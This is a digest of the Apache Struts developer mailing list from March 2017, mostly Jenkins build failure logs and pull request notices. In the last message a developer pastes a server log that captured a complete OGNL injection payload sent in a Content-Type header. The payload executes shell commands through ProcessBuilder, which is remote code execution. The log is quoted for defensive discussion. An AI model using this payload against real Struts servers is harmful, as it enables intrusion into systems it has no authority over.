Jenkins build is back to normal : Struts-JDK7-pull-request #250

2017-03-24 Thread Apache Jenkins Server
See 



-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



[GitHub] struts pull request #126: WW-4770 Fixes problem with dojo.version

2017-03-24 Thread sdutry
GitHub user sdutry opened a pull request:

https://github.com/apache/struts/pull/126

WW-4770 Fixes problem with dojo.version



You can merge this pull request into a Git repository by running:

$ git pull https://github.com/sdutry/struts issue/WW-4770

Alternatively you can review and apply these changes as the patch at:

https://github.com/apache/struts/pull/126.patch

To close this pull request, make a commit to your master/trunk branch
with (at least) the following in the commit message:

This closes #126


commit 9e8627ca669ec566bbedd638fc6010e8ae364160
Author: Stefaan Dutry 
Date:   2017-03-24T20:34:31Z

WW-4770 Fixes problem with dojo.version




---
If your project is set up for it, you can reply to this email and have your
reply appear on GitHub as well. If your project does not have this feature
enabled and wishes so, or if the feature is enabled but not working, please
contact infrastructure at infrastruct...@apache.org or file a JIRA ticket
with INFRA.
---

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



[GitHub] struts issue #124: WW-4744: AnnotationUtils supports non-public methods

2017-03-24 Thread yasserzamani
Github user yasserzamani commented on the issue:

https://github.com/apache/struts/pull/124
  
> Do we need custom annotation utility at all? Can't we just use existing 
libraries e.g. Apache Commons MethodUtils?

Thank you @aleksandr-m !

I am working on it. I started by creating 
[LANG-1317](https://issues.apache.org/jira/browse/LANG-1317)


---
If your project is set up for it, you can reply to this email and have your
reply appear on GitHub as well. If your project does not have this feature
enabled and wishes so, or if the feature is enabled but not working, please
contact infrastructure at infrastruct...@apache.org or file a JIRA ticket
with INFRA.
---

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Jenkins build is unstable: Struts-JDK6-support-2.3 #1060

2017-03-24 Thread Apache Jenkins Server
See 



-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Re: Build failed in Jenkins: Struts-JDK6-support-2.3 #1059

2017-03-24 Thread Lukasz Lenart
I have switched this build to JDK7 as running on JDK6 doesn't work
anymore ... time to say goodbye 2.3.x series :)

2017-03-24 17:02 GMT+01:00 Apache Jenkins Server :
> See 
> 
>
> --
> Started by user Lukasz Lenart
> [EnvInject] - Loading node environment variables.
> Building remotely on H15 (ubuntu) in workspace 
> 
> Cloning the remote Git repository
> Cloning repository http://git.apache.org/struts.git
>  > git init  # 
> timeout=10
> Fetching upstream changes from http://git.apache.org/struts.git
>  > git --version # timeout=10
>  > git fetch --tags --progress http://git.apache.org/struts.git 
> +refs/heads/*:refs/remotes/origin/*
>  > git config remote.origin.url http://git.apache.org/struts.git # timeout=10
>  > git config --add remote.origin.fetch +refs/heads/*:refs/remotes/origin/* # 
> timeout=10
>  > git config remote.origin.url http://git.apache.org/struts.git # timeout=10
> Fetching upstream changes from http://git.apache.org/struts.git
>  > git fetch --tags --progress http://git.apache.org/struts.git 
> +refs/heads/*:refs/remotes/origin/*
>  > git rev-parse refs/remotes/origin/support-2-3^{commit} # timeout=10
>  > git rev-parse refs/remotes/origin/refs/heads/support-2-3^{commit} # 
> timeout=10
> Checking out Revision c349dfa5abb6f6072304eca3d679d6f2dd448f52 
> (refs/remotes/origin/support-2-3)
>  > git config core.sparsecheckout # timeout=10
>  > git checkout -f c349dfa5abb6f6072304eca3d679d6f2dd448f52
>  > git rev-list c349dfa5abb6f6072304eca3d679d6f2dd448f52 # timeout=10
> [locks-and-latches] Checking to see if we really have the locks
> [locks-and-latches] Have all the locks, build can start
> Parsing POMs
> Modules changed, recalculating dependency graph
> Established TCP socket on 42421
> maven-agent.jar already up to date
> classworlds.jar already up to date
> maven-interceptor.jar already up to date
> maven2.1-interceptor.jar already up to date
> [Struts-JDK6-support-2.3] $ /home/jenkins/tools/java/latest1.6/bin/java 
> -Xms128m -Xmx768m -XX:MaxPermSize=256m -XX:PermSize=128m -cp 
> /home/jenkins/jenkins-slave/maven-agent.jar:/home/jenkins/jenkins-slave/classworlds.jar
>  hudson.maven.agent.Main /home/jenkins/tools/maven/apache-maven-2.2.1 
> /home/jenkins/jenkins-slave/slave.jar 
> /home/jenkins/jenkins-slave/maven-interceptor.jar 42421 
> /home/jenkins/jenkins-slave/maven2.1-interceptor.jar
> Exception in thread "main" java.lang.UnsupportedClassVersionError: 
> hudson/remoting/Launcher : Unsupported major.minor version 51.0
> at java.lang.ClassLoader.defineClass1(Native Method)
> at java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)
> at java.lang.ClassLoader.defineClass(ClassLoader.java:615)
> at 
> java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)
> at java.net.URLClassLoader.defineClass(URLClassLoader.java:283)
> at java.net.URLClassLoader.access$000(URLClassLoader.java:58)
> at java.net.URLClassLoader$1.run(URLClassLoader.java:197)
> at java.security.AccessController.doPrivileged(Native Method)
> at java.net.URLClassLoader.findClass(URLClassLoader.java:190)
> at java.lang.ClassLoader.loadClass(ClassLoader.java:306)
> at 
> org.codehaus.classworlds.RealmClassLoader.loadClassDirect(RealmClassLoader.java:195)
> at 
> org.codehaus.classworlds.DefaultClassRealm.loadClass(DefaultClassRealm.java:255)
> at hudson.maven.agent.Main.main(Main.java:143)
> at hudson.maven.agent.Main.main(Main.java:68)
> [locks-and-latches] Releasing all the locks
> [locks-and-latches] All the locks released
> ERROR: Failed to parse POMs
> java.io.EOFException: unexpected stream termination
> at hudson.remoting.ChannelBuilder.negotiate(ChannelBuilder.java:365)
> at hudson.remoting.ChannelBuilder.build(ChannelBuilder.java:310)
> at hudson.slaves.Channels.forProcess(Channels.java:115)
> at 
> hudson.maven.AbstractMavenProcessFactory.newProcess(AbstractMavenProcessFactory.java:294)
> at hudson.maven.ProcessCache.get(ProcessCache.java:236)
> at 
> hudson.maven.MavenModuleSetBuild$MavenModuleSetBuildExecution.doRun(MavenModuleSetBuild.java:798)
> at 
> hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:534)
> at hudson.model.Run.execute(Run.java:1728)
> at hudson.maven.MavenModuleSetBuild.run(MavenModuleSetBuild.java:544)
> at hudson.model.ResourceController.execute(ResourceController.java:98)
> at hudson.model.Executor.run(Executor.java:404)
>
> -
> To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
> For additional commands, 

Build failed in Jenkins: Struts-JDK6-support-2.3 #1059

2017-03-24 Thread Apache Jenkins Server
See 


--
Started by user Lukasz Lenart
[EnvInject] - Loading node environment variables.
Building remotely on H15 (ubuntu) in workspace 

Cloning the remote Git repository
Cloning repository http://git.apache.org/struts.git
 > git init  # 
 > timeout=10
Fetching upstream changes from http://git.apache.org/struts.git
 > git --version # timeout=10
 > git fetch --tags --progress http://git.apache.org/struts.git 
 > +refs/heads/*:refs/remotes/origin/*
 > git config remote.origin.url http://git.apache.org/struts.git # timeout=10
 > git config --add remote.origin.fetch +refs/heads/*:refs/remotes/origin/* # 
 > timeout=10
 > git config remote.origin.url http://git.apache.org/struts.git # timeout=10
Fetching upstream changes from http://git.apache.org/struts.git
 > git fetch --tags --progress http://git.apache.org/struts.git 
 > +refs/heads/*:refs/remotes/origin/*
 > git rev-parse refs/remotes/origin/support-2-3^{commit} # timeout=10
 > git rev-parse refs/remotes/origin/refs/heads/support-2-3^{commit} # 
 > timeout=10
Checking out Revision c349dfa5abb6f6072304eca3d679d6f2dd448f52 
(refs/remotes/origin/support-2-3)
 > git config core.sparsecheckout # timeout=10
 > git checkout -f c349dfa5abb6f6072304eca3d679d6f2dd448f52
 > git rev-list c349dfa5abb6f6072304eca3d679d6f2dd448f52 # timeout=10
[locks-and-latches] Checking to see if we really have the locks
[locks-and-latches] Have all the locks, build can start
Parsing POMs
Modules changed, recalculating dependency graph
Established TCP socket on 42421
maven-agent.jar already up to date
classworlds.jar already up to date
maven-interceptor.jar already up to date
maven2.1-interceptor.jar already up to date
[Struts-JDK6-support-2.3] $ /home/jenkins/tools/java/latest1.6/bin/java 
-Xms128m -Xmx768m -XX:MaxPermSize=256m -XX:PermSize=128m -cp 
/home/jenkins/jenkins-slave/maven-agent.jar:/home/jenkins/jenkins-slave/classworlds.jar
 hudson.maven.agent.Main /home/jenkins/tools/maven/apache-maven-2.2.1 
/home/jenkins/jenkins-slave/slave.jar 
/home/jenkins/jenkins-slave/maven-interceptor.jar 42421 
/home/jenkins/jenkins-slave/maven2.1-interceptor.jar
Exception in thread "main" java.lang.UnsupportedClassVersionError: 
hudson/remoting/Launcher : Unsupported major.minor version 51.0
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)
at java.lang.ClassLoader.defineClass(ClassLoader.java:615)
at 
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:283)
at java.net.URLClassLoader.access$000(URLClassLoader.java:58)
at java.net.URLClassLoader$1.run(URLClassLoader.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:190)
at java.lang.ClassLoader.loadClass(ClassLoader.java:306)
at 
org.codehaus.classworlds.RealmClassLoader.loadClassDirect(RealmClassLoader.java:195)
at 
org.codehaus.classworlds.DefaultClassRealm.loadClass(DefaultClassRealm.java:255)
at hudson.maven.agent.Main.main(Main.java:143)
at hudson.maven.agent.Main.main(Main.java:68)
[locks-and-latches] Releasing all the locks
[locks-and-latches] All the locks released
ERROR: Failed to parse POMs
java.io.EOFException: unexpected stream termination
at hudson.remoting.ChannelBuilder.negotiate(ChannelBuilder.java:365)
at hudson.remoting.ChannelBuilder.build(ChannelBuilder.java:310)
at hudson.slaves.Channels.forProcess(Channels.java:115)
at 
hudson.maven.AbstractMavenProcessFactory.newProcess(AbstractMavenProcessFactory.java:294)
at hudson.maven.ProcessCache.get(ProcessCache.java:236)
at 
hudson.maven.MavenModuleSetBuild$MavenModuleSetBuildExecution.doRun(MavenModuleSetBuild.java:798)
at 
hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:534)
at hudson.model.Run.execute(Run.java:1728)
at hudson.maven.MavenModuleSetBuild.run(MavenModuleSetBuild.java:544)
at hudson.model.ResourceController.execute(ResourceController.java:98)
at hudson.model.Executor.run(Executor.java:404)

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Re: Build failed in Jenkins: Struts-JDK9-master #93

2017-03-24 Thread Lukasz Lenart
I have disabled this build as it isn't Struts problem but Maven - it
doesn't Jigsaw project ;-)


Regards
-- 
Łukasz
+ 48 606 323 122 http://www.lenart.org.pl/

2017-03-24 11:57 GMT+01:00 Apache Jenkins Server :
> See 
>
> --
> [...truncated 1.36 MB...]
> [INFO] Copying 3 resources
> [INFO]
> [INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @ 
> struts2-showcase ---
> [INFO] Changes detected - recompiling the module!
> [INFO] Compiling 14 source files to 
> 
> [WARNING] 
> :
>  
> 
>  uses or overrides a deprecated API.
> [WARNING] 
> :
>  Recompile with -Xlint:deprecation for details.
> [INFO]
> [INFO] --- maven-surefire-plugin:2.19.1:test (default-test) @ 
> struts2-showcase ---
>
> ---
>  T E S T S
> ---
> Running org.apache.struts2.showcase.filedownload.FileDownloadActionTest
> Tests run: 5, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.074 sec - 
> in org.apache.struts2.showcase.filedownload.FileDownloadActionTest
>
> Results :
>
> Tests run: 5, Failures: 0, Errors: 0, Skipped: 0
>
> [JENKINS] Recording test results
> [WARNING] Failed to notify spy hudson.maven.Maven3Builder$JenkinsEventSpy: 
> Could not initialize class jenkins.model.Jenkins
> [INFO]
> [INFO] --- maven-war-plugin:2.1:war (default-war) @ struts2-showcase ---
> [WARNING] Error injecting: org.apache.maven.plugin.war.WarMojo
> com.google.inject.ProvisionException: Unable to provision, see the following 
> errors:
>
> 1) Error injecting constructor, java.lang.ExceptionInInitializerError: Cannot 
> access defaults field of Properties
>   at org.apache.maven.plugin.war.WarMojo.(Unknown Source)
>   while locating org.apache.maven.plugin.war.WarMojo
>
> 1 error
> at 
> com.google.inject.internal.InjectorImpl$2.get(InjectorImpl.java:1025)
> at 
> com.google.inject.internal.InjectorImpl.getInstance(InjectorImpl.java:1051)
> at 
> org.eclipse.sisu.space.AbstractDeferredClass.get(AbstractDeferredClass.java:48)
> at 
> com.google.inject.internal.ProviderInternalFactory.provision(ProviderInternalFactory.java:81)
> at 
> com.google.inject.internal.InternalFactoryToInitializableAdapter.provision(InternalFactoryToInitializableAdapter.java:53)
> at 
> com.google.inject.internal.ProviderInternalFactory$1.call(ProviderInternalFactory.java:65)
> at 
> com.google.inject.internal.ProvisionListenerStackCallback$Provision.provision(ProvisionListenerStackCallback.java:115)
> at 
> org.eclipse.sisu.bean.BeanScheduler$Activator.onProvision(BeanScheduler.java:176)
> at 
> com.google.inject.internal.ProvisionListenerStackCallback$Provision.provision(ProvisionListenerStackCallback.java:126)
> at 
> com.google.inject.internal.ProvisionListenerStackCallback.provision(ProvisionListenerStackCallback.java:68)
> at 
> com.google.inject.internal.ProviderInternalFactory.circularGet(ProviderInternalFactory.java:63)
> at 
> com.google.inject.internal.InternalFactoryToInitializableAdapter.get(InternalFactoryToInitializableAdapter.java:45)
> at 
> com.google.inject.internal.InjectorImpl$2$1.call(InjectorImpl.java:1016)
> at 
> com.google.inject.internal.InjectorImpl.callInContext(InjectorImpl.java:1092)
> at 
> com.google.inject.internal.InjectorImpl$2.get(InjectorImpl.java:1012)
> at org.eclipse.sisu.inject.Guice4$1.get(Guice4.java:162)
> at 
> org.eclipse.sisu.inject.LazyBeanEntry.getValue(LazyBeanEntry.java:81)
> at 
> org.eclipse.sisu.plexus.LazyPlexusBean.getValue(LazyPlexusBean.java:51)
> at 
> org.codehaus.plexus.DefaultPlexusContainer.lookup(DefaultPlexusContainer.java:263)
> at 
> org.codehaus.plexus.DefaultPlexusContainer.lookup(DefaultPlexusContainer.java:255)
> at 
> org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo(DefaultMavenPluginManager.java:517)
> at 
> org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:121)
> at 
> org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:207)
> at 
> org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:153)
> at 
> 

[GitHub] struts issue #125: Immutable context

2017-03-24 Thread cnenning
Github user cnenning commented on the issue:

https://github.com/apache/struts/pull/125
  
Sounds like a very good idea! A short check showed that my apps are not 
affected 😆 


---
If your project is set up for it, you can reply to this email and have your
reply appear on GitHub as well. If your project does not have this feature
enabled and wishes so, or if the feature is enabled but not working, please
contact infrastructure at infrastruct...@apache.org or file a JIRA ticket
with INFRA.
---

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Build failed in Jenkins: Struts-JDK6-support-2.3 #1058

2017-03-24 Thread Apache Jenkins Server
See 


Changes:

[Lukasz Lenart] WW-4735 Ports more relax domain suffix validation

--
Started by an SCM change
[EnvInject] - Loading node environment variables.
Building remotely on H14 (ubuntu) in workspace 

 > git rev-parse --is-inside-work-tree # timeout=10
Fetching changes from the remote Git repository
 > git config remote.origin.url http://git.apache.org/struts.git # timeout=10
Fetching upstream changes from http://git.apache.org/struts.git
 > git --version # timeout=10
 > git fetch --tags --progress http://git.apache.org/struts.git 
 > +refs/heads/*:refs/remotes/origin/*
 > git rev-parse refs/remotes/origin/support-2-3^{commit} # timeout=10
 > git rev-parse refs/remotes/origin/refs/heads/support-2-3^{commit} # 
 > timeout=10
Checking out Revision c349dfa5abb6f6072304eca3d679d6f2dd448f52 
(refs/remotes/origin/support-2-3)
 > git config core.sparsecheckout # timeout=10
 > git checkout -f c349dfa5abb6f6072304eca3d679d6f2dd448f52
 > git rev-list 4d888a5ab6318288a771bacfdc879ee16270d937 # timeout=10
[locks-and-latches] Checking to see if we really have the locks
[locks-and-latches] Have all the locks, build can start
Parsing POMs
Modules changed, recalculating dependency graph
Established TCP socket on 37702
maven3-agent.jar already up to date
maven3-interceptor.jar already up to date
maven3-interceptor-commons.jar already up to date
[Struts-JDK6-support-2.3] $ /home/jenkins/tools/java/latest1.6/bin/java 
-Xms128m -Xmx768m -XX:MaxPermSize=256m -XX:PermSize=128m -cp 
/home/jenkins/jenkins-slave/maven3-agent.jar:/home/jenkins/tools/maven/apache-maven-3.0.4/boot/plexus-classworlds-2.4.jar
 org.jvnet.hudson.maven3.agent.Maven3Main 
/home/jenkins/tools/maven/apache-maven-3.0.4 
/home/jenkins/jenkins-slave/slave.jar 
/home/jenkins/jenkins-slave/maven3-interceptor.jar 
/home/jenkins/jenkins-slave/maven3-interceptor-commons.jar 37702
Exception in thread "main" java.lang.UnsupportedClassVersionError: 
hudson/remoting/Launcher : Unsupported major.minor version 51.0
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)
at java.lang.ClassLoader.defineClass(ClassLoader.java:615)
at 
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:283)
at java.net.URLClassLoader.access$000(URLClassLoader.java:58)
at java.net.URLClassLoader$1.run(URLClassLoader.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:190)
at 
org.codehaus.plexus.classworlds.realm.ClassRealm.loadClassFromSelf(ClassRealm.java:386)
at 
org.codehaus.plexus.classworlds.strategy.SelfFirstStrategy.loadClass(SelfFirstStrategy.java:42)
at 
org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:244)
at 
org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass(ClassRealm.java:230)
at org.jvnet.hudson.maven3.agent.Maven3Main.main(Maven3Main.java:138)
at org.jvnet.hudson.maven3.agent.Maven3Main.main(Maven3Main.java:70)
[locks-and-latches] Releasing all the locks
[locks-and-latches] All the locks released
ERROR: Failed to parse POMs
java.io.EOFException: unexpected stream termination
at hudson.remoting.ChannelBuilder.negotiate(ChannelBuilder.java:365)
at hudson.remoting.ChannelBuilder.build(ChannelBuilder.java:310)
at hudson.slaves.Channels.forProcess(Channels.java:115)
at 
hudson.maven.AbstractMavenProcessFactory.newProcess(AbstractMavenProcessFactory.java:294)
at hudson.maven.ProcessCache.get(ProcessCache.java:236)
at 
hudson.maven.MavenModuleSetBuild$MavenModuleSetBuildExecution.doRun(MavenModuleSetBuild.java:798)
at 
hudson.model.AbstractBuild$AbstractBuildExecution.run(AbstractBuild.java:534)
at hudson.model.Run.execute(Run.java:1728)
at hudson.maven.MavenModuleSetBuild.run(MavenModuleSetBuild.java:544)
at hudson.model.ResourceController.execute(ResourceController.java:98)
at hudson.model.Executor.run(Executor.java:404)
[JIRA] Updating issue WW-4735

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Build failed in Jenkins: Struts-JDK9-master #93

2017-03-24 Thread Apache Jenkins Server
See 

--
[...truncated 1.36 MB...]
[INFO] Copying 3 resources
[INFO] 
[INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @ 
struts2-showcase ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 14 source files to 

[WARNING] 
:
 

 uses or overrides a deprecated API.
[WARNING] 
:
 Recompile with -Xlint:deprecation for details.
[INFO] 
[INFO] --- maven-surefire-plugin:2.19.1:test (default-test) @ struts2-showcase 
---

---
 T E S T S
---
Running org.apache.struts2.showcase.filedownload.FileDownloadActionTest
Tests run: 5, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.074 sec - in 
org.apache.struts2.showcase.filedownload.FileDownloadActionTest

Results :

Tests run: 5, Failures: 0, Errors: 0, Skipped: 0

[JENKINS] Recording test results
[WARNING] Failed to notify spy hudson.maven.Maven3Builder$JenkinsEventSpy: 
Could not initialize class jenkins.model.Jenkins
[INFO] 
[INFO] --- maven-war-plugin:2.1:war (default-war) @ struts2-showcase ---
[WARNING] Error injecting: org.apache.maven.plugin.war.WarMojo
com.google.inject.ProvisionException: Unable to provision, see the following 
errors:

1) Error injecting constructor, java.lang.ExceptionInInitializerError: Cannot 
access defaults field of Properties
  at org.apache.maven.plugin.war.WarMojo.(Unknown Source)
  while locating org.apache.maven.plugin.war.WarMojo

1 error
at com.google.inject.internal.InjectorImpl$2.get(InjectorImpl.java:1025)
at 
com.google.inject.internal.InjectorImpl.getInstance(InjectorImpl.java:1051)
at 
org.eclipse.sisu.space.AbstractDeferredClass.get(AbstractDeferredClass.java:48)
at 
com.google.inject.internal.ProviderInternalFactory.provision(ProviderInternalFactory.java:81)
at 
com.google.inject.internal.InternalFactoryToInitializableAdapter.provision(InternalFactoryToInitializableAdapter.java:53)
at 
com.google.inject.internal.ProviderInternalFactory$1.call(ProviderInternalFactory.java:65)
at 
com.google.inject.internal.ProvisionListenerStackCallback$Provision.provision(ProvisionListenerStackCallback.java:115)
at 
org.eclipse.sisu.bean.BeanScheduler$Activator.onProvision(BeanScheduler.java:176)
at 
com.google.inject.internal.ProvisionListenerStackCallback$Provision.provision(ProvisionListenerStackCallback.java:126)
at 
com.google.inject.internal.ProvisionListenerStackCallback.provision(ProvisionListenerStackCallback.java:68)
at 
com.google.inject.internal.ProviderInternalFactory.circularGet(ProviderInternalFactory.java:63)
at 
com.google.inject.internal.InternalFactoryToInitializableAdapter.get(InternalFactoryToInitializableAdapter.java:45)
at 
com.google.inject.internal.InjectorImpl$2$1.call(InjectorImpl.java:1016)
at 
com.google.inject.internal.InjectorImpl.callInContext(InjectorImpl.java:1092)
at com.google.inject.internal.InjectorImpl$2.get(InjectorImpl.java:1012)
at org.eclipse.sisu.inject.Guice4$1.get(Guice4.java:162)
at org.eclipse.sisu.inject.LazyBeanEntry.getValue(LazyBeanEntry.java:81)
at 
org.eclipse.sisu.plexus.LazyPlexusBean.getValue(LazyPlexusBean.java:51)
at 
org.codehaus.plexus.DefaultPlexusContainer.lookup(DefaultPlexusContainer.java:263)
at 
org.codehaus.plexus.DefaultPlexusContainer.lookup(DefaultPlexusContainer.java:255)
at 
org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo(DefaultMavenPluginManager.java:517)
at 
org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:121)
at 
org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:207)
at 
org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:153)
at 
org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:145)
at 
org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:116)
at 
org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:80)
at 
org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build(SingleThreadedBuilder.java:51)
 

Build failed in Jenkins: Struts-JDK7-pull-request #249

2017-03-24 Thread Apache Jenkins Server
See 


Changes:

[Lukasz Lenart] Moves documentation to wiki

[Lukasz Lenart] Uses OGNL without #context magical key

[Lukasz Lenart] Adjusts OGNL usage to avoid modify immutable context

--
GitHub pull request #125 to apache/struts
[EnvInject] - Loading node environment variables.
Building remotely on H18 (ubuntu) in workspace 

 > git rev-parse --is-inside-work-tree # timeout=10
Fetching changes from the remote Git repository
 > git config remote.origin.url git://github.com/apache/struts.git # timeout=10
Cleaning workspace
 > git rev-parse --verify HEAD # timeout=10
Resetting working tree
 > git reset --hard # timeout=10
 > git clean -fdx # timeout=10
Pruning obsolete local branches
Fetching upstream changes from git://github.com/apache/struts.git
 > git --version # timeout=10
 > git fetch --tags --progress git://github.com/apache/struts.git 
 > +refs/heads/*:refs/remotes/origin/* --prune
 > git config core.sparsecheckout # timeout=10
 > git checkout -f origin/master
 > git branch -a -v --no-abbrev # timeout=10
 > git branch -D master # timeout=10
 > git checkout -b master origin/master
  Opening connection
Done: 0
  Counting objects
Done: 30
  Finding sources
Done: 30
  Getting sizes
Done: 24
  Compressing objects
Done: 129422
  Writing objects
Done: 30
  remote: Resolving deltas
  remote: Updating references
Merging refs/tags/changes/249
 > git rev-parse refs/tags/changes/249^{commit} # timeout=10
 > git merge dc2f122d9e4bb66605e4ea9f8cd2c9683c8c0819 # timeout=10
 > git rev-parse master^{commit} # timeout=10
Checking out Revision dc2f122d9e4bb66605e4ea9f8cd2c9683c8c0819 (master)
 > git config core.sparsecheckout # timeout=10
 > git checkout -f dc2f122d9e4bb66605e4ea9f8cd2c9683c8c0819
 > git rev-parse origin/master^{commit} # timeout=10
 > git rev-list 350c77aba8776bec0c11ebdd6e331cb6028e0972 # timeout=10
[locks-and-latches] Checking to see if we really have the locks
[locks-and-latches] Have all the locks, build can start
Parsing POMs
Modules changed, recalculating dependency graph
Established TCP socket on 34010
maven33-agent.jar already up to date
maven33-interceptor.jar already up to date
maven3-interceptor-commons.jar already up to date
[Struts-JDK7-pull-request] $ /home/jenkins/tools/java/latest1.7/bin/java 
-Xms128m -Xmx768m -XX:MaxPermSize=256m -XX:PermSize=128m -cp 
/home/jenkins/jenkins-slave/maven33-agent.jar:/home/jenkins/tools/maven/latest3/boot/plexus-classworlds-2.5.2.jar:/home/jenkins/tools/maven/latest3/conf/logging
 jenkins.maven3.agent.Maven33Main /home/jenkins/tools/maven/latest3/ 
/home/jenkins/jenkins-slave/slave.jar 
/home/jenkins/jenkins-slave/maven33-interceptor.jar 
/home/jenkins/jenkins-slave/maven3-interceptor-commons.jar 34010
<===[JENKINS REMOTING CAPACITY]===>   channel started
Executing Maven:  -B -f 
 
-Dmaven.repo.local=/home/jenkins/jenkins-slave/maven-repositories/0 package 
-DskipAssembly
[INFO] Scanning for projects...
[INFO] 
[INFO] Reactor Build Order:
[INFO] 
[INFO] Struts 2 Bill of Materials
[INFO] Struts 2
[INFO] Struts 2 Core
[INFO] Struts Plugins
[INFO] Struts 2 Configuration Browser Plugin
[INFO] Struts 2 Sitemesh Plugin
[INFO] Struts 2 Tiles Plugin
[INFO] Struts 2 DWR Plugin
[INFO] Struts 2 Spring Plugin
[INFO] Struts 2 Convention Plugin
[INFO] Struts 2 JUnit Plugin
[INFO] Struts 2 JSON Plugin
[INFO] Struts 2 Bean Validation Plugin
[INFO] Struts 2 Webapps
[INFO] Struts 2 Showcase Webapp
[INFO] Struts 2 REST Plugin
[INFO] Struts 2 Rest Showcase Webapp
[INFO] Struts 2 CDI Plugin
[INFO] Struts 2 Embedded JSP Plugin
[INFO] Struts 2 GXP Plugin
[INFO] Struts 2 Jasper Reports Plugin
[INFO] Struts 2 Java Templates Plugin
[INFO] Struts 2 JFreeChart Plugin
[INFO] Struts 2 OSGi Plugin
[INFO] Struts 2 OVal Plugin
[INFO] Struts 2 Pell Multipart Plugin
[INFO] Struts 2 Plexus Plugin
[INFO] Struts 2 Portlet Plugin
[INFO] Struts 2 Portlet Tiles Plugin
[INFO] Struts 2 Sitegraph Plugin
[INFO] Struts 2 TestNG Plugin
[INFO] Struts OSGi Bundles
[INFO] Struts 2 OSGi Admin Bundle
[INFO] Struts 2 OSGi Demo Bundle
[INFO] 
[INFO] 
[INFO] Building Struts 2 Bill of Materials 2.5.11-SNAPSHOT
[INFO] 
[INFO] 
[INFO] --- maven-remote-resources-plugin:1.2.1:process (default) @ struts2-bom 
---
[INFO] 
[INFO] --- maven-site-plugin:3.0:attach-descriptor (attach-descriptor) @ 
struts2-bom ---
[INFO] 
[INFO] 

Re: S2 makes Hacker News :/

2017-03-24 Thread Greg Huber
Looking at my logs I can see some activity: GRRR :

179.253.10.27 - - [24/Mar/2017:08:39:13 +] "GET /notFound.action
HTTP/1.1" 404 2258 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"


2017-03-24 08:39:13,649 WARN
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
JakartaMultiPartRequest:parse - Request exceeded size limit!
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException:
the request doesn't contain a multipart/form-data or multipart/mixed
stream, content type header is %{(#nike='multipart/form-data'
).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_
memberAccess?(#_memberAccess=#dm):((#container=#context['
com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.
getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.
getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm.(#cmd='nMaskCustomMuttMoloz').(#
iswin=(@java.lang.System@getProperty('os.name').
toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/
c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#
cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@
org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@
org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.
flush())}

On 16 March 2017 at 12:45, Martin Gainty  wrote:

>
>
>
>
> 
> From: Greg Huber 
> Sent: Thursday, March 16, 2017 5:19 AM
> To: Struts Developers List
> Subject: Re: S2 makes Hacker News :/
>
> Just because you are using s2, does not necessarily mean you are affected,
> all I get is a response :
>
